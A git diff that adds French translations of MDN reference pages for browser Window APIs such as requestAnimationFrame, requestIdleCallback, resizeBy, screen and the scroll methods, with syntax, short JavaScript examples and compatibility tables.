+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.rejectionhandled_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}</li>
+ <li>{{domxref("PromiseRejectionEvent")}}</li>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{domxref("Window/unhandledrejection_event", "unhandledrejection")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/requestanimationframe/index.html b/files/fr/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..8bdb9c1f89
--- /dev/null
+++ b/files/fr/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,91 @@
+---
+title: Window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+tags:
+  - API
+  - DOM
+  - JavaScript
+translation_of: Web/API/window/requestAnimationFrame
+---
+<p>{{APIRef("Window")}}</p>
+
+<p>La méthode <strong><code>window.requestAnimationFrame()</code></strong> notifie le navigateur que vous souhaitez exécuter une animation et demande que celui-ci exécute une fonction spécifique de mise à jour de l'animation, avant le prochain rafraîchissement du navigateur. Cette méthode prend comme argument un callback qui sera appelé avant le rafraîchissement du navigateur.</p>
+
+<div class="note"><strong>Note:</strong> Si vous souhaitez animer une nouvelle frame durant le prochain repaint, votre callback doit appeler la méthode <code>requestAnimationFrame()</code>.</div>
+
+<p>Vous devez appeler cette méthode dès que vous êtes prêt à rafraîchir votre animation. La fonction contenant l'animation doit être appelée avant que le navigateur n'effectue un nouveau rafraîchissement . En moyenne, le callback sera appelé 60 fois par seconde, cela dépendra de la fréquence de rafraîchissement de votre écran, conformément aux recommandations de la W3C. Cette fréquence peut être inférieure si plusieurs onglets sont ouverts simultanément.</p>
+
+<p>Le callback possède un seul argument, un {{domxref("DOMHighResTimeStamp")}}, qui est le temps, en millisecondes avec une précision minimum de 10 µs, durant lequel l'exécution du rafraîchissement est prévu.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js"><em>requestID</em> = window.requestAnimationFrame(<em>callback</em>);       // Firefox 23 / IE 10 / Chrome / Safari 7 (incl. iOS)
+<em>requestID</em> = window.mozRequestAnimationFrame(<em>callback</em>);    // Firefox &lt; 23
+<em>requestID</em> = window.webkitRequestAnimationFrame(callback); // Anciennes versions de Safari / Chrome
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Un paramètre définissant la fonction à appeler lorsque votre animation va être rafraîchie lors du prochain rafraîchissement. Le callback ne prend qu'un seul argument, un {{domxref("DOMHighResTimeStamp")}}, qui est le temps à partir duquel requestAnimationFrame va commencer à appeler les callbacks.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>requestID</code> est un entier <code>long</code> unique identifiant l'élément dans la liste des callbacks. C'est une valeur différente de zéro, mais il est prudent de ne pas faire de suppositions sur cette valeur. En passant cette valeur en paramètre de la méthode {{domxref("window.cancelAnimationFrame()")}},  vous annulez l'appel du callback.</p>
+
+<h2 id="Notes" name="Notes">Exemple</h2>
+
+<pre class="brush: js">window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                              window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+
+var start = null;
+
+var d = document.getElementById("SomeElementYouWantToAnimate");
+
+function step(timestamp) {
+  var progress;
+  if (start === null) start = timestamp;
+  progress = timestamp - start;
+  d.style.left = Math.min(progress/10, 200) + "px";
+  if (progress &lt; 2000) {
+    requestAnimationFrame(step);
+  }
+}
+
+requestAnimationFrame(step);
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilités</h2>
+
+<div>
+<p>{{Compat("api.Window.requestAnimationFrame")}}</p>
+</div>
+
+<h3 id="Specification" name="Specification">Notes pour Gecko</h3>
+
+<p>[1] Avant Gecko 11.0 {{geckoRelease("11.0")}}, <code>mozRequestAnimationFrame()</code> pouvait être appelée sans paramètres d'entrée. Cela n'est plus supporté et n'est pas <span class="short_text" id="result_box" lang="fr"><span class="hps">susceptible</span></span> d'être standardisé.</p>
+
+<p>[2] Le callback prend comme paramètre un {{domxref("DOMTimeStamp")}} au lieu d'un {{domxref("DOMHighResTimeStamp")}} si c'est la version préfixée qui est utilisée. <code>DOMTimeStamp</code> n'a qu'une précision de l'ordre de la milliseconde, mais <code>DOMHightResTimeStamp</code> a une précision minimale de l'ordre de 10 microsecondes.</p>
+
+<h3 id="Notes_pour_Chrome">Notes pour Chrome</h3>
+
+<p>La syntaxe correcte, dans Chrome, pour annuler l'exécution est<code> window.cancelAnimationFrame()</code>. Dans les anciennes versions, <code>window.webkitCancelAnimationFrame()</code> &amp; <code>window.webkitCancelRequestAnimationFrame() sont obsolètes</code> mais sont toujours supportées pour le moment.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>{{spec("http://www.w3.org/TR/animation-timing/#requestAnimationFrame", "Timing control for script-based animations: requestAnimationFrame", "WD")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+</ul>
diff --git a/files/fr/web/api/window/requestidlecallback/index.html b/files/fr/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..f78ca5dfae
--- /dev/null
+++ b/files/fr/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,111 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>La méthode <code><strong>window.requestIdleCallback() </strong></code>mémorise une fonction qui sera appellée lorsque le navigateur n'aura plus aucune autre tâche en cours. Cela offre au développeur la possibilité de réaliser des tâches à basse priorité en arrière-plan sur le thread principal, sans impacter l'expérience utilisateur (ralentissement des animations, etc). L'ordre des appels aux fonctions est généralement premier entré, premier sorti, sauf si le timeout défini au moment de l'enregistrement est atteint avant que le navigateur n'ait eu le temps d'appeler la fonction en question.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>var idleCallbackId = window.requestIdleCallback(fonction[, options])</code></pre>
+
+<h3 id="Returns" name="Returns">Retour de l'appel</h3>
+
+<p>Un entier long non-signé qui peut être utilisé pour annulé l'appel à la fonction via la méthode {{domxref("window.cancelIdleCallback()")}}.</p>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">fonction</font></dt>
+ <dd>La référence d'une fonction qui devrait être appellée dans un futur proche. La fonction en question recevra en argument un objet de type temps restant avec les propriétés suivantes :
+ <ul>
+  <li><code>timeRemaining </code>: Fonction qui retourne un {{domxref("DOMHighResTimeStamp")}} repésentant le temps restant estimé par le navigateur pour exécuter la tâche, ayant pour valeur minimale zéro. Les tâches nécessitant un temps d'exécution relativement long sont susceptibles de recourir à plusieurs appels à cette méthode s'il reste du travail à effectuer, rendant la main au navigateur peu avant que le compteur n'atteigne zéro. <code>timeRemaining()</code> retournera toujours zéro si <code>didTimeout</code> est positionné à true (i.e. la fonction n'a pas été appelée durant la période de repos du navigateur). La limite de temps est limitée à 50ms, même si le navigateur reste n'a pas d'autre tâche à exécuter pendant une durée plus longue.</li>
+  <li><code>didTimeout </code>: Un booléen positionné à true si la fonction est appelée car le timeout a été atteint, et false si elle a été appelée par le navigateur durant une période de repos.</li>
+ </ul>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Objet contenant des paramètres de configuration optionnels. Les propriétés sont les suivantes :
+ <ul>
+  <li><code>timeout </code>: Si <code>timeout</code> est spécifié et possède une valeur positive, la fonction sera appelée au bout de au moins <code>timeout</code> millisecondes si elle n'a pas été appelée par le navigateur au préalable.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(34)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En voie d'être déployé dans Firefox 52, voir le {{bug(1198381)}}.</p>
diff --git a/files/fr/web/api/window/resizeby/index.html b/files/fr/web/api/window/resizeby/index.html
new file mode 100644
index 0000000000..8ad1939c15
--- /dev/null
+++ b/files/fr/web/api/window/resizeby/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.resizeBy()
+slug: Web/API/Window/resizeBy
+tags:
+  - API
+  - Window
+translation_of: Web/API/Window/resizeBy
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>Window.resizeBy()</strong></code> redimensionne la fenêtre actuelle d'une taille spécifié.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.resizeBy(<em>xDelta, yDelta</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>xDelta</code> est le nombre de pixels pour agrandir la fenêtre horizontalement.</li>
+ <li><code>yDelta</code> est le nombre de pixels pour agrandir la fenêtre verticalement.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js notranslate">// Réduit la fenêtre
+window.resizeBy(-200, -200);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette méthode redimensionne la fenêtre par rapport à sa taille actuelle. Pour redimensionner la fenêtre en termes absolus, utilisez {{domxref ("window.resizeTo ()")}}.</p>
+
+<h3 id="Créer_et_redimensionner_une_fenêtre_externe">Créer et redimensionner une fenêtre externe</h3>
+
+<p>Pour des raisons de sécurité, il n'est plus possible dans Firefox pour un site Web de modifier la taille par défaut d'une fenêtre dans un navigateur si la fenêtre n'a pas été créée par window.open () ou contient plusieurs onglets. Consultez le tableau de compatibilité pour plus de détails sur le changement.</p>
+
+<p>Même si vous créez une fenêtre avec <code>window.open()</code> <strong>elle n'est pas redimensionnable par défaut.</strong> Pour rendre la fenêtre redimensionnable, vous devez l'ouvrir avec le paramètre <code>"resizable"</code> .</p>
+
+<pre class="brush: js notranslate">// Créer une fenêtre redimensionnable
+myExternalWindow = window.open("http://myurl.domain", "myWindowName", "resizable");
+
+// Redimensionner la fenêtre à 500 x 500
+myExternalWindow.resizeTo(500, 500);
+
+// Rendre la fenêtre relativement plus petit à 400 x 400
+myExternalWindow.resizeBy(-100, -100);</pre>
+
+<p>La fenêtre que vous créez doit respecter la politique de même origine. Si la fenêtre que vous ouvrez n'est pas dans la même origine que la fenêtre actuelle, vous ne pourrez pas redimensionner ni accéder aux informations sur cette fenêtre / cet onglet.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-resizeby', 'window.resizeBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter https://github.com/mdn/browser-compat-data et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Window.resizeBy")}}</p>
diff --git a/files/fr/web/api/window/screen/index.html b/files/fr/web/api/window/screen/index.html
new file mode 100644
index 0000000000..ff16ac6bc9
--- /dev/null
+++ b/files/fr/web/api/window/screen/index.html
@@ -0,0 +1,55 @@
+---
+title: Window.screen
+slug: Web/API/Window/screen
+tags:
+  - API
+  - CSSOM View
+  - DOM
+  - Fenêtre
+  - Propriété
+  - Vue CSSOM
+  - Écran
+translation_of: Web/API/Window/screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<div>Retourne une référence à l'objet <code style="font-style: normal; line-height: 1.5;">screen</code> associé à la fenêtre. L'object <code style="font-style: normal; line-height: 1.5;">screen</code>, qui implémente l'interface <span style="line-height: 1.5;">{{domxref("Screen")}}, est un objet spécial servant à examiner les propriétés de l'écran qui affiche la fenêtre courante.</span></div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>objetEcran</var> = <var>window</var>.screen;
+</pre>
+
+<h2 id="Example" name="Example">Examples</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // utiliser la page en colorisation réduite
+} else {
+  // utiliser la page en coolorisation normale
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Window.screen")}}</p>
diff --git a/files/fr/web/api/window/screenx/index.html b/files/fr/web/api/window/screenx/index.html
new file mode 100644
index 0000000000..3a6e7737cb
--- /dev/null
+++ b/files/fr/web/api/window/screenx/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.screenX
+slug: Web/API/Window/screenX
+tags:
+  - API
+  - Propriété
+  - Window
+  - lecture seule
+translation_of: Web/API/Window/screenX
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété  <code><strong>Window.screenX</strong></code> retourne la distance honrizontale, in CSS pixels, of the left border of the user's browser from the left side of the screen.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>lLoc</em> = window.screenX
+</pre>
+
+<ul>
+ <li><em><code>lLoc</code></em> is the number of CSS pixels from the left side the screen.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-screenx', 'Window.screenX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalitée</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basic</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalitée</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basic</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Firefox 28, Gecko utilisait les dimensions de l'appareil au lieu des pixels CSS ; dans d'autres mots, it was assuming a value of <code>screenPixelsPerCSSPixel</code> of 1 for any device.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Window.screenY")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/scroll/index.html b/files/fr/web/api/window/scroll/index.html
new file mode 100644
index 0000000000..82075c6ba2
--- /dev/null
+++ b/files/fr/web/api/window/scroll/index.html
@@ -0,0 +1,27 @@
+---
+title: window.scroll
+slug: Web/API/Window/scroll
+translation_of: Web/API/Window/scroll
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Résumé</h3>
+<p>Fait glisser la fenêtre vers une position particulière du document</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval">window.scroll(<i>x-coord</i>,<i>y-coord</i>)
+</pre>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<ul>
+ <li><code>x-coord</code> est la position horizontale du pixel que vous voulez voir apparaitre en haut à gauche de l’écran.</li>
+ <li><code>y-coord</code> est la position verticale du pixel que vous voulez voir apparaitre en haut à gauche de l’écran.</li>
+</ul>
+<h3 id="Example" name="Example">Example</h3>
+<pre> // Déplace la fenêtre 100px plus bas
+ &lt;button onClick="scroll(0, 100);"&gt;click to scroll down 100 pixels&lt;/button&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p><a href="en/Window.scrollTo">window.scrollTo</a> a un effet identique à cette méthode. Pour se déplacer par pas dans la page, utilisez <a href="en/Window.scrollBy">window.scrollBy</a>. Jetez aussi un œil à <a href="en/Window.scrollByLines">window.scrollByLines</a> et <a href="en/Window.scrollByPages">window.scrollByPages</a>.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>DOM Level 0. Hors spécification.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "ja": "ja/DOM/window.scroll", "pl": "pl/DOM/window.scroll" } ) }}</p>
diff --git a/files/fr/web/api/window/scrollbars/index.html b/files/fr/web/api/window/scrollbars/index.html
new file mode 100644
index 0000000000..8d563a54bc
--- /dev/null
+++ b/files/fr/web/api/window/scrollbars/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.scrollbars
+slug: Web/API/Window/scrollbars
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/scrollbars
+---
+<div>{{APIRef()}}</div>
+
+<p>La propriété <code><strong>Window.scrollbars</strong></code> renvoie l'objet <code>scrollbars</code>, dont la visibilité peut être vérifié.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>objRef</em> = window.scrollbars
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple HTML complet suivant montre comment la propriété <code>visible</code> de l'objet scrollbars est utilisée.</p>
+
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Divers Tests DOM&lt;/title&gt;
+  &lt;script&gt;
+    let visibleScrollbars = window.scrollbars.visible;
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Divers Tests DOM&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-window-scrollbars', 'Window.scrollbars')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-scrollbars', 'Window.scrollbars')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.scrollbars")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.locationbar")}}</li>
+ <li>{{domxref("window.menubar")}}</li>
+ <li>{{domxref("window.personalbar")}}</li>
+ <li>{{domxref("window.statusbar")}}</li>
+ <li>{{domxref("window.toolbar")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/scrollby/index.html b/files/fr/web/api/window/scrollby/index.html
new file mode 100644
index 0000000000..17b80d2ea6
--- /dev/null
+++ b/files/fr/web/api/window/scrollby/index.html
@@ -0,0 +1,58 @@
+---
+title: Window.scrollBy()
+slug: Web/API/Window/scrollBy
+tags:
+  - API
+  - CSSOM View
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/Window/scrollBy
+---
+<p>{{ APIRef() }}</p>
+
+<h2 id="Summary" name="Summary">Description</h2>
+
+<p>Fait défiler le document dans la fenêtre du nombre de pixels passé en paramètre.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">window.scrollBy(<em>X</em>, <em>Y</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>X</code> est le nombre en pixels pour le défilement horizontal.</li>
+ <li><code>Y</code> est le nombre en pixels pour le défilement vertical.</li>
+</ul>
+
+<p>Des coordonnées positives feront défiler à droite et vers le bas de la page. Des coordonnées négatives feront défiler à gauche et vers le haut de la page. </p>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<pre class="eval">// fait défiler d'une page
+window.scrollBy(0, window.innerHeight);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><a href="/fr/docs/DOM/Window.scrollBy">window.scrollBy</a> fait défiler en fonction d'un nombre précis, alors que <a href="/fr/docs/DOM/Window.scroll">window.scroll</a> fait défiler vers une position absolue dans le document. Voir aussi <a href="/fr/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, <a href="/fr/docs/DOM/Window.scrollByPages">window.scrollByPages</a></p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/window/scrollbylines/index.html b/files/fr/web/api/window/scrollbylines/index.html
new file mode 100644
index 0000000000..471bae984f
--- /dev/null
+++ b/files/fr/web/api/window/scrollbylines/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.scrollByLines()
+slug: Web/API/Window/scrollByLines
+tags:
+  - API
+  - DOM
+  - DOM_0
+  - Méthode
+  - Non-standard
+  - Window
+translation_of: Web/API/Window/scrollByLines
+---
+<div>{{ ApiRef() }}</div>
+
+<div>
+<p id="comment_text_2">{{Non-standard_header}}</p>
+</div>
+
+<h2 id="Summary" name="Summary">Description</h2>
+
+<p>Fait défiler le document du nombre de lignes spécifié.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">window.scrollByLines(<var>lignes</var>)
+</pre>
+
+<h2 id="Parameters" name="Parameters">Paramètres</h2>
+
+<ul>
+ <li><code>lignes</code> est le nombre de lignes à faire défiler.</li>
+ <li><code>lignes</code> peut être un entier positif ou négatif.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<pre class="brush:html">&lt;!-- Faire défiler le document de 5 lignes vers le bas. --&gt;
+&lt;button onclick="scrollByLines(5);"&gt;5 lignes vers le bas&lt;/button&gt;
+</pre>
+
+<pre class="brush:html">&lt;!-- Faire défiler le document de 5 lignes vers le haut. --&gt;
+&lt;button onclick="scrollByLines(-5);"&gt;5 lignes vers le haut&lt;/button&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p id="comment_text_2">Ne fait partie d'aucune spécification.</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.scrollBy")}}, {{domxref("window.scrollByPages")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/scrollbypages/index.html b/files/fr/web/api/window/scrollbypages/index.html
new file mode 100644
index 0000000000..e352ef57e0
--- /dev/null
+++ b/files/fr/web/api/window/scrollbypages/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.scrollByPages()
+slug: Web/API/Window/scrollByPages
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Méthode
+translation_of: Web/API/Window/scrollByPages
+---
+<p>{{ ApiRef() }}{{Non-standard_header}}</p>
+
+<h3 id="Summary" name="Summary">Description</h3>
+
+<p>Fait défiler le document du nombre de pages spécifié.</p>
+
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+
+<pre class="eval">window.scrollByPages(<em>pages</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>pages</code> est le nombre de pages à faire défiler.</li>
+ <li><code>pages</code> peut être un entier positif ou négatif.</li>
+</ul>
+
+<h3 id="Example" name="Example">Exemples</h3>
+
+<pre>// fait défiler le document d'une page vers le bas
+window.scrollByPages(1);
+
+// fait défiler le document d'une page vers le haut
+window.scrollByPages(-1);
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Voir aussi <a href="/fr/docs/Web/API/Window/scrollByPages" title="en/DOM/window.scrollBy">window.scrollBy</a>, <a href="/fr/docs/Web/API/Window/scrollByPages" title="en/DOM/window.scrollByLines">window.scrollByLines</a>, <a href="/fr/docs/Web/API/Window/scroll" title="en/DOM/window.scroll">window.scroll</a>, <a href="fr/docs/Web/API/Window/scrollTo" title="en/DOM/window.scrollTo">window.scrollTo</a>.</p>
+
+<h3 id="Specification" name="Specification">Spécification</h3>
+
+<p>DOM Niveau 0. Ne fait pas partie de la spécification.</p>
+
